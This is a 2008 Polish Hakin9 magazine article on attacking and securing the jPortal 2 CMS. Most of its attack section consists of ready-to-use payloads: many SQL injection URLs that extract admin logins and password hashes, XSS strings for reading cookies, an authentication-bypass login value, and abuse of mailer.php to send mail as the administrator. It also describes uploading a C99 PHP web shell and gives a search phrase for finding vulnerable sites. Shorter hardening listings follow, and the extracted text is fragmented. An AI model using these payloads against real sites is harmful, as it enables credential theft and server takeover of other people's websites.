2008 04 Niebezpieczny jPortal 2

background image

16

POCZĄTKI

HAKIN9 4/2008

Z

arówno instalacja, jak i administracja
tym systemem są bardzo proste.
Być może dlatego jest on tak

rozpowszechniony. Ale również dlatego, że
bez żadnej wiedzy na temat tworzenia stron
możemy cieszyć się profesjonalnym wyglądem
naszej strony. Jednak CMS posiada wiele
błędów. Przyjrzymy się im oraz spróbujemy
zabezpieczyć naszą stronę przed atakami
hakerów.

SQL Injection

Pierwszą luką, jaką posiada nasz system jest
możliwość wstrzyknięcia zapytania do bazy
MySQL. Przeanalizujmy jedno z zapytań:

ARTUR CZYŻ

Z ARTYKUŁU

DOWIESZ SIĘ

jak ominąć zabezpieczenia

systemu jPortal 2,

jak zabezpieczyć jPortal 2.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy PHP,

znać podstawy SQL Injection

i XSS.

articles.php?topic=-100 union select 1,
concat(nick,char(58),pass),
3,4,5 from admins limit 1/*

W powyższym zapytaniu wykorzystywany jest błąd
w pliku articles.php. Zwróćmy jednak uwagę na
każdą część naszego zapytania. Rozpoczynamy

-100

lub jakimiś innymi znakami, które zwrócą

Stopień trudności

Niebezpieczny

jPortal 2

Ostatnio przeglądając strony internetowe zwróciłem szczególną

uwagę na szeroko rozpowszechniony system portalowy o nazwie

jPortal 2.

Rysunek 1.

Efekt wstrzykniętego zapytania – SQL

Injection.

Listing 1.

Przykładowe zapytania

print

.php

?

what=article&id=1

%20

AND

%201

=0

%20

UNION

%20

SELECT

%20

id,id,nick,pass,id,id,id,id,id

%20

from

%20

a

dmins

%20

LIMIT

%201

comment.php

?

what=news&id=1

and

1=0 union

(

select null, null, nick, null, null, null, null, null,

null, null, null, null from admins limit n,1

)

comment.php

?

what=news&id=284

and

1=0 union

(

select null, null, pass, null, null, null, null, null,

null, null, null, null from admins limit n,1

)

print

.php

?

what=article&id=1

AND

1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1

news.php

?

id=1

%20

AND

%200%20

=

%201%20

UNION

%20

SELECT

%20

*,

%201

,

%201

,

%201

,

%201%20

FROM

%20

admins

%20

print

.php

?

what=article&id=1

%20

AND

%201

=0

%20

UNION

%20

SELECT

%20

id,id,nick,pass,id,id,id,id,id

%20

from

%20

a

dmins

%20

LIMIT

%201

forum.php

?

cmd=search&word=Trey&where=author

%20

and

%201

=0

%20

union

%20

select

%20

null,null,nick,pass,null,

null,null,null,null,null,null,null,null,null,null

%

20from

%20

admins

%20

/*

forum.php?cmd=search&word=Trey&where=author%20and%201=0%20union%20select%20null,null,nick,pass,null,

null,null,null,null,null,null,null,null,null,null% 20from%20users%20/*

articles.php?topic?id=-2/**/

UNION

/**/

SELECT

/**/

1,concat

(

pass,

char

(

58

)

,nick

)

,3,4,5

/**/

from

/**/

admins/

*

articles.php

?

topic=-100 union select 1,concat

(

nick,

char

(

58

)

,pass

)

,3,4,5 from admins limit 1/*

background image

17

NIEBEZPIECZNY JPORTAL 2

HAKIN9

4/2008

błąd – nic nie stoi na przeszkodzie, aby
użyć identyfikatora rozpoczynającego się
znakiem minus.

Union select 1,concat(nick,
char(58),pass),3,4,
5 from admins limit 1/*

to zapytanie do bazy, które oznacza w
dosłownym tłumaczeniu Wyciągnij z
bazy admins z drugiej kolumny (login
i hasło), pierwszego użytkownika
.
Zapytanie wystarczy dokleić do strony,
np. http://www.przykładowastrona.pl/
articles.php?topic=-100 union select 1,con
cat(nick,char(58),pass),3,4,5 from admins
limit 1/*.
Po wklejeniu takiego zapytania w
pasek adresu przeglądarki i wywołaniu
strony na ekranie w miejscu nazwy tematu
powinny nam się ukazać login i hasło:
Artykuły >> admin:52g76h78jh87yu6ty6u7i8u
7y6t5t6y4
.

Nasze hasło będzie prawdopodobnie

zakodowane w postaci skrótu MD5
(lub przy pomocy innego algorytmu
szyfrującego, choć niekiedy może
być w postaci jawnej – zobaczymy
wtedy coś takiego: Artykuły >> admin:
mojetajnehaslo
(Rysunek 1). Inne
zapytania, jakich możemy użyć, aby
uzyskać pożądany efekt, znajdują się na
Listingu 1. Zapytania możemy dowolnie
modyfikować w zależności od naszych
potrzeb, np. zamiast wyciągać z bazy
danych hasło możemy użyć poleceń typu

database()

,

now()

,

version()

,

load _

file()

. Zapytania możemy dowolnie

łączyć dzięki wykorzystaniu funkcji

concat()

, np.

articles.php?topic=-100 union select 1,
concat(nick,char(58),pass,char(58),
database()),3,4,5 from admins limit 1/*.

Funkcja

char()

wczytuje znak o

podanym kodzie z tablicy ASCII
– w naszym przypadku wartości

58

przyporządkowany jest dwukropek.
Jeżeli podane zapytanie zwróci błąd,
prawdopodobnie podaliśmy złą liczbę
kolumn lub nazwę bazy. Najczęstszymi
nazwami bazy dla przykładowej strony
http://przykladowastrona.pl będą bazy
o nazwie: jp_admins, admins, users,
jp_przykladowastrona, przykladowastrona_
admins
, przykladowastrona_users. Myślę,
że zrozumieliście, o co mi chodzi, dlatego
przejdziemy teraz do błędów XSS.

XSS

Kolejnym błędem, który występuje w
naszym systemie portalowym, jest błąd
pozwalający wstrzyknąć kod wykonujący
się po stronie serwera. Przyjrzyjmy się
poniższemu zapytaniu:

http://www.przykładowastrona.pl/
news.php?page=666&news=”>
<script>alert(0);</script>

Gdybyśmy uruchomili w przeglądarce
taki kod, zostałoby wyświetlone tradycyjne
zero (0). Wiele osób uważa, że taki
atak nie jest niebezpieczny. Z pewnego
punktu widzenia jest tak w istocie,
ale jeżeli umiejętnie spreparujemy
zapytanie, możliwe jest między innymi
przechwycenie cookies administratora
strony. Poniższy kod zwróci nam nasze
cookies na stronie:

http://www.przykładowastrona.pl/
news.php?page=666&news=”><script>alert
(document.cookie);</script>

W Sieci

http://cc-team.org,
http://milw0rm.com,
http://packetstorm.org,
http://securityfocus.com,
http://securitydot.com,
http://www.jp.packs.prv.pl,
http://www.haxite.org/index.php3?site=ar

tykul&nx1=artykul_view&id=792.

Rysunek 2.

PHPShell – narzędzie posiada masę opcji, które ułatwią administrację stroną

Listing 3.

Przykładowe zapytania do

ataków XSS

module.php

?

op=forum&category=

[

xss

]

module.php

?

op=forum&page=

[

xss

]

&cmd=show

&id=

[

xss

]

&catego

ry=

[

xss

]

print

.php

?

what=news&id=

[

xss

]

print

.php

?

what=article&id=

[

xss

]

module.php

?

op=sendnews&id=

[

xss

]

Listing 4.

Zabezpieczanie jPortal 2

<?

mysql_query

(

"INSERT INTO tabela

(

id,

post, get

)

VALUES

(

NULL,

'htmlspecialchars($_POST[x])'

,

'htmlspecialchars($_GET[x])'

)

;";

?>

Listing 2.

Błąd występujący w pliku

mailer.php

mailer.php

?

to=adresat

@email

.com&sub

ject

=TestWiadomosci&from_name=Admin&
from_mail=admin

@adres

.com&body=

TestExploita&ok=wyslij&cmd=sendmail

background image

18

POCZATKI

HAKIN9 4/2008

NIEBEZPIECZNY JPORTAL 2

19

HAKIN9

4/2008

Nie powinniśmy lekceważyć tego
błędu.

Błąd w panelu

administracyjnym

Istnieje również błąd w panelu
administracyjnym, który w pewnych
przypadkach pozwala nam na logowanie
bez znajomości hasła. Wystarczy w pole
login wpisać następujący kod:

blad' OR

id=1 OR id<>'0

. Ta metoda jednak nie

zawsze działa.

E-mail ze strony

jako administrator

Kolejny błąd występuje w pliku mailer.php
w zmiennej

$to

. Pozwala nam on na

wysłanie e-maila z konta administratora
strony na dowolny inny adres e-mail.
Przeanalizujmy poniższe zapytanie:

adresat@email.com

– w to miejsce

wklejamy e-mail na który wysyłamy;

admin@adres.com

– tutaj umieszczamy

adres admina, czyli w naszym przypadku
jest to:

admin@podatnastrona.pl

;

TestWiadomosci

– tutaj wklejamy tekst,

który ma się znaleźć w e-mailu.(Listing 2.)

Bezpośrednią przyczyną występowania

tego błędu jest fakt, że jPortal 2 nie
sprawdza, czy zmienna pochodzi z tablicy
POST czy GET.

Bezpieczeństwo

Pokażę teraz, jak możemy zabezpieczyć
jPortal 2 tak, aby uniemożliwić
lub chociaż zminimalizować
prawdopodobieństwo udanego ataku.

Listing 5.

Zmiana sposobu dostępu do logowania na panel administratora

//1. W pliku admin.php
//a) zamiast

include

(

"admin/01.adm.php"

)

;

include

(

"admin/02.adm.php"

)

;

//wpisujemy

include

(

"tajnelogowanie/01.adm.php"

)

;

include

(

"tajnelogowanie/02.adm.php"

)

;

//b) zamiast

<?

if

(

file_exists

(

'admin/'

.

$op

.

'.adm.php'

))

{

include

(

'admin/'

.

$op

.

'.adm.php'

)

;

}

elseif

(

$op

==

''

)

{

$cmd

=

'options'

;

include

(

'admin/.adm.php'

)

;

?>

//wpisujemy

<?

if

(

file_exists

(

'tajnelogowanie/'

.

$op

.

'.adm.php'

))

{

include

(

'tajnelogowanie/'

.

$op

.

'.adm.php'

)

;

}

elseif

(

$op

==

''

)

{

$cmd

=

'options'

;

include

(

'tajnelogowanie/.adm.php'

)

;

?>

//c) zamiast

if

(

$_REQUEST

[

'cmd'

]

==

'logout'

)

{

$_SESSION

[

'nick'

]

=

'********************'

;

$_SESSION

[

'pass'

]

=

'********************'

;

header

(

'Location: admin.php'

)

;

}

//wpisujemy

if

(

$_REQUEST

[

'cmd'

]

==

'logout'

)

{

$_SESSION

[

'nick'

]

=

'********************'

;

$_SESSION

[

'pass'

]

=

'********************'

;

header

(

'Location: tajnelogowanie.php'

)

;

}

//d) zamiast

admin_nawigator

()

;

//wpisujemy

tajnelogowanie_nawigator

()

;

/*e) zmieniamy nazwę pliku admin.php na tajnelogowanie.php oraz

folderu admin na tajnelogowanie.*/

//2. W pliku .adm.php
//zamiast

echo

'

<

form method=

"post"

action=

"admin.php?op='.$op.'"

><

font

size=

"2"

><

b

>

·

<

/b

>

Dodanych komentarzy:

<

b

>

'.$n.'

<

/b

><

br

>

';

//wpisujemy

echo

'

<

form method=

"post"

action=

"tajnelogowanie

.php?op='.$op.'"

><

font size=

"2"

><

b

>

·

<

/b

>

Dodanych komentarzy:

<

b

>

'.$n.'

<

/b

><

br

>

';

//3. W pliku 01.adm.php
//zamiast

header

(

"Location: admin.php"

)

;

//wpisujemy

header

(

"Location: tajnelogowanie.php"

)

;

//4. W pliku 02.adm.php
//zamiast

<?

echo

'

<

a href=

"admin.php"

class=

"t_main"

>

Opcje

administracyjne

<

/a

>

';

if(file_exists('

admin/

'.$file.'

.name

')) {

$name = file('

admin/

'.$file.'

.name

');

if(file_exists('

admin/

'.$file.'

.name

')) {

$name = file('

admin/

'.$file.'

.name

');

echo '

<

td class=

"uni_01"

>

'.$wp1.'

&middot;

<

a

href=

"admin.php?op='.$file.'"

>

'.$name[0].'

<

/a

><

/td

>

';

function admin_nawigator(

)

{

<

b

><

a href=

"admin.php?cmd=logout"

>

wyloguj

<

/a

>

';

//wpisujemy

<?

echo

'

<

a href=

"admin.php"

class=

"t_main"

>

Opcje

administracyjne

<

/a

>

';

if(file_exists('

tajnelogowanie/

'.$file.'

.name

')) {

$name = file('

tajnelogowanie/

'.$file.'

.name

');

if(file_exists('

tajnelogowanie/

'.$file.'

.name

')) {

$name = file('

tajnelogowanie/

'.$file.'

.name

');

echo '

<

td class=

"uni_01"

>

'.$wp1.'

&middot;

<

a

href=

"panel.php?op='.$file.'"

>

'.$name[0].'

<

/a

><

/td

>

';

function

tajnelogowanie _nawigator

()

{

<

b

><

a href=

"tajnelogowanie .php?cmd=logout"

>

wyloguj

<

/a

>

';

/*Teraz nasz panel do logowania zamiast w pliku admin.php

znajduje się w pliku tajnelogowanie.php.
Utrudni to agresorowi zniszczenie naszej
strony.*/

POCZATKI

background image

18

POCZATKI

HAKIN9 4/2008

NIEBEZPIECZNY JPORTAL 2

19

HAKIN9

4/2008

Będziemy używać do tego głównie funkcji typu

htmlspecialchars()

,

mysql _ real _ escape _

string()

,

strip _ tags()

,

add _ slashes()

,

mysql _ escape _ string()

. Możemy bawić się

samemu w zabezpieczanie jPortal 2, modyfikując kod
– tak, jak pokazano na Listingu 4.

Zmiana nazwy pliku odpowiedzialnego za

logowanie do panelu administratora również nieco
utrudni agresorowi włamanie na naszą stronę.
Opisane to zostało na Listingu 5.

Polecam jednak inną metodę. W Internecie

udostępniane są łatki na jPortal 2, np. userpatch
v1.0s
, userpatch v1.1s oraz userpatch_beta_v09.
Zawierają one szereg uaktualnień do naszego
CMSa.

Na dzień dzisiejszy nie ma jeszcze oficjalnego

exploita na UserPatch, możemy go pobrać ze
strony 6 (patrz ramka W Sieci). Zaoszczędzi to nam
sporo czasu.

Jeśli chodzi o błędy SQLInjection, XSS (a także

wiele innych) i sposoby zabezpieczenia przed nimi,
to polecam stronę 7, gdyż jest to tam – zwięźle,
lecz bardzo dobrze – opisane.

Upload PhpShella

z poziomu Menu Administracyjnego

PhpShell pozwala nam na obsługę strony tak,
jakbyśmy byli zalogowani na jej serwer FTP (Rysunek
2). Wgranie Phpshell jest bardzo proste – aby to zrobić,
należy wejść do Panelu Administratora. Następnie
przechodzimy do opcji Download i w menu Uploader
wybieramy plik, który chcemy załadować na serwer. W
naszym przypadku będzie to nazwashella.php. Jeżeli
nie modyfikowaliśmy żadnych ustawień, to shell będzie
znajdować się w katalogu uploads/download. Adres
do naszego shella będzie przykładowo wyglądać
tak: http://www.naszastrona.xx/uploads/download/
nazwashella.php
.

Obsługa PHPShella jest bardzo prosta. Mamy do

dyspozycji wiele jego odmian – osobiście polecam
C99Shell, gdyż posiada najszerszą funkcjonalność.

Podsumowanie

Artykuł ukazuje, że nawet bez znajomości
zaawansowanych technik hakerskich zwykły
użytkownik może dokonać udanego ataku na
witrynę. Potencjalnie podatnych stron w Internecie jest
wiele. Wystarczy wpisać w wyszukiwarce: Powered by
jPortal 2
.

Myślę, że administratorzy, którzy używają jPortal

2, po przeczytaniu artykułu podejmą odpowiednie
kroki mające na celu zabezpieczenie swojego
systemu.

Artur Czyż

Od 6 lat interesuje się bezpieczeństwem Sieci.

Kontakt z autorem: blackgeocities@wp.pl


Wyszukiwarka

Podobne podstrony:
2008 04 Bezpieczne a niebezpieczne aplikacje
2008 04 testy odpowiedzi
2008 04 KDE 4 0 Czy warto [Poczatkujacy]
2008 04 23 15 34 polska wojewodztwa miasta A4
Prawo budowlane stan na 2008 04 15
2008-04-17 W naturze czy odszkodowania (D.Frey), materiały, Z PRASY
PP 2008 04
2008 04 Choose the Right Router [Consumer test]
2008 04 pytania testowe
2008-04-11 Koss bylem don Kichotem 14 lat, materiały, Z PRASY
2008.04.24 Standard RS 232C - Interfejsy komputerowe, informatyka
PiKI 2008 04
2008 04 06 3000 14
2008.04.17 Transmisja szeregowa synchroniczna i asynchronicz, informatyka
2008-04-17 Rząd rusza do reprywatyzacji, materiały, Z PRASY
2008 04 Ataki typu referer spoofing [Bezpieczenstwo]
2008 04 Użytkownik kontra wirusy

więcej podobnych podstron